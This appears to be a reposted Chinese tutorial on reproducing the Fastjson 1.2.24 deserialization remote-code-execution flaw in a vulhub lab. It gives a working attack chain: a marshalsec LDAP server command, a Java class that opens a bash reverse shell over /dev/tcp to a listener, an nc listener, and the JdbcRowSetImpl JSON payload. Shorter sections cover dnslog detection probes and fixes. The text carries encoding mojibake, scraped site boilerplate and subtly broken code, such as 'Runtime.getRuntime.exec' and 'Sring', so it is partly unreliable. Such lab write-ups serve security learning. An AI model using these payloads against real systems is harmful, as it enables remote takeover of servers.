1 漏洞介紹
1.1 Fastjson簡介
Fastjson是java的一個庫,可以將Java對象轉(zhuǎn)化為json格式的字符串,也可以將json格式的字符串轉(zhuǎn)化為Java對象。
Fastjson提供了toJSONString()
和parseObject()
方法來將Java對象與JSON相互轉(zhuǎn)換。調(diào)用toJSONString()
方法即可將對象轉(zhuǎn)換成 JSON 字符串,parseObject()
方法則反過來將JSON字符串轉(zhuǎn)換成對象。
1.2 漏洞原理
在反序列化的時候,會進入parseField()
方法,進入該方法后,就會調(diào)用setValue(object, value)
方法,在這里,會執(zhí)行構(gòu)造的惡意代碼,最后造成代碼執(zhí)行。
首先需要指定一個惡意類,以讓Java程序獲取后進行反序列化操作。然后將需要執(zhí)行的代碼提供給程序,這里可使用LDAP或RMI協(xié)議。 然后反序列化的時候會去請求LDAP/RMI服務器,與Log4j漏洞利用類似,加載這個惡意類文件從而引發(fā)代碼執(zhí)行漏洞。
2 復現(xiàn)流程
fastjson版本<1.2.24 <1.2.27
序列化時會調(diào)用成員變量的get方法,私有成員變量不會被序列化。
反序列化時,會調(diào)用成員變量的set方法,public修飾的成員全部自動賦值。
2.1 環(huán)境搭建
vulhub靶場
#1 下載靶場
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
#2 編譯,運行
docker-compose build
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 關(guān)閉靶場
docker-compose down
這里進入vulhub目錄太慢了,而且路徑也容易記錯。可以篡改系統(tǒng)命令,添加命令別名。
vim ~/.bashrc
#在合適的位置添加如下語句
alias vulhub='cd /var/local/soft/vulhub;ls'
#保存并退出
source ~/.bashrc
靶機:centos 192.168.131.121
監(jiān)聽主機:Kali 192.168.131.134:9999
其他環(huán)境與Log4j相同——http://t.csdn.cn/l1xmR
2.2 測試
LDAP服務器中,執(zhí)行如下代碼
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#GetShell 1234
其中getshell
是惡意類的類名,1234
是監(jiān)聽的端口號,該工具可以啟動JNDI或RMI接口。
當命令行顯示Listening on 0.0.0.0:1234
時表示服務開啟成功。
構(gòu)建一個惡意類GetShell.class
/*
* getshell.java
* 將其編譯后生成Exploit.class
* 上傳到HTTP服務器
*/
public class GetShell{
public GetShell(){
Runtime.getRuntime.exec("bash -i >&/dev/tcp/192.168.101.134/9999 0>&1");//監(jiān)聽主機的IP和端口號
}
public static void main(Sring[] args){
GetShell e = new GetShell();
}
}
//直接使用靜態(tài)代碼塊亦可
監(jiān)聽主機Kali開啟監(jiān)聽:
nc -lvp 9999 # 9999是監(jiān)聽反彈shell的端口
這時,可以向靶場環(huán)境以POST的方式發(fā)送數(shù)據(jù)(payload)如下
POST /HTTP/1.1
Host:xxxxxxxx
...
Content-Type:application/json
Content-Length:146
{
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.101.133:1234/GetShell",
"autoCommit":true
}
}
反彈shell成功即可。
2.3 過程分析
用到的反序列化方法
//返回實際類型的對象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject對象
Object obj = JSON.parse(serializedStr);
//子類中包含接口或抽象類時,類型丟失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}
利用類
com.sun.rowset.JdbcRowSetImpl
使用時會引入一個dataSourceName
支持傳入一個rmi數(shù)據(jù)源,可以實現(xiàn)JNDI、LDAP端口注入攻擊。
流程
序列化字符:準備類名、dataSourceName屬性和autoCommit屬性;
JdbcRowSetImpl反序列化,調(diào)用JdbcRowSetImpl的setAutoCommit(),setAutoCommit()調(diào)用connect();
connect()調(diào)用lookup()鏈接到LDAP/RMI服務器,下載惡意代碼到本地,執(zhí)行攻擊。
3 漏洞防御
3.1 排查方法
-
找到發(fā)送JSON序列化數(shù)據(jù)的接口
-
抓包判斷是否使用fastjson
-
傳入不完整或錯誤的json數(shù)據(jù),{“xx”:"查看返回的數(shù)據(jù)是否暴露
-
使用dnslog ceye檢測
package src; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class FastTest { public static void main(String[] args) { String json1="{\"zeo\": {\"@type\":\"java.net.Inet4Address\",\"val\":\"aaa.fooe50.ceye.io\"}}"; JSONObject jsonObject= JSON.parseObject(json1); } }
fastjson1.2.67以后的版本文章來源:http://www.zghlxwxcb.cn/news/detail-651903.html
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"這?是dnslog"}}
-
使用Burp插件文章來源地址http://www.zghlxwxcb.cn/news/detail-651903.html
3.2 漏洞修復
- 升級JDK
- 升級Fastjson到最新版
- 使用安全產(chǎn)品過濾
- 更換其他序列化工具Jackson/Gson
到了這里,關(guān)于Fastjson反序列化漏洞原理與復現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!